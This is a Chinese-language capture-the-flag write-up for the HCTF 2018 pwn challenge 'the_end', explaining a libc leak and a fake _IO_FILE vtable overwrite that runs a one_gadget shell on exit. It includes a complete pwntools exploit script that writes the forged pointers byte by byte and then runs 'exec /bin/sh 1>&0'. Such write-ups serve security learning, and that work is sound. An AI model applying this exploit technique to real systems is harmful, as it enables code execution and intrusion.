相关资源
文件分析 1 2 3 4 5 6 $ checksec the_end Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __fastcall __noreturn main (int a1, char **a2, char **a3) { int i; void *buf; sleep(0 ); printf ("here is a gift %p, good luck ;)\n" , &sleep); fflush(_bss_start); close(1 ); close(2 ); for ( i = 0 ; i <= 4 ; ++i ) { read(0 , &buf, 8uLL ); read(0 , buf, 1uLL ); } exit (1337 ); }
6#
直接泄露libc基地址 10#
任意地址写5个字节
攻击方法 开了 Full RELRO , got表写不了 也没有栈溢出 (要写返回地址也是一种可能 但是因为不知道栈地址 相当于四个字节的随机化 实现概率太小)
程序调用 exit
后,会调用 _IO_2_1_stdout_
下的 vtable
中 _setbuf
函数 可以改写vtable
为fake_vtable
(可写的区域) 然后改写对应_setbuf
偏移处的函数指针为one_gadget
注意由于8#
关闭了输出流,执行 exec /bin/sh 1>&0
重定向 使输出可见
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *import syspty = process.PTY context(os='linux' , arch='i386' , log_level='debug' ) mode = '' if len (sys.argv) > 1 : mode = sys.argv[1 ] proc = process("./the_end" ) libc = ELF("./libc-2.23.so" ) def s (x ): proc.send(x)def sl (x ): return proc.sendline(x)def sd (x ): return proc.send(x)def sla (x, y ): return proc.sendlineafter(x, y)def sa (x, y ): return proc.sendafter(x, y)def ru (x ): return proc.recvuntil(x)def rc (): return proc.recv()def rl (): return proc.recvline()def li (con ): return log.info(con)def ls (con ): return log.success(con)def pi (): return proc.interactive()def pcls (): return proc.close()def ga (): return u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))gscript = ''' pie b 0x000000000000093F c ''' if mode == '-d' : gdb.attach(proc, gdbscript=gscript) one_gadgets = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] ru(b'gift ' ) libc_base = int (ru(b',' ).strip(b',' ), 16 ) - libc.sym['sleep' ] ls("libc base: " + hex (libc_base)) io_stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] vtable_addr = libc_base + 0x3C56F8 fake_vtable = libc_base + 0x3C56c0 gadget = libc_base + one_gadgets[2 ] li("vtable_addr: " + hex (vtable_addr)) for i in range (2 ): s(p64(vtable_addr + i)) s(p8(p64(fake_vtable)[i])) for i in range (3 ): s(p64(fake_vtable + 0x58 + i)) s(p8(p64(gadget)[i])) sl(b"exec /bin/sh 1>&0" ) pi() pause()
参考:https://blog.wingszeng.top/pwn-file-exploitation-fake-vtable https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/#2018-hctf-the_end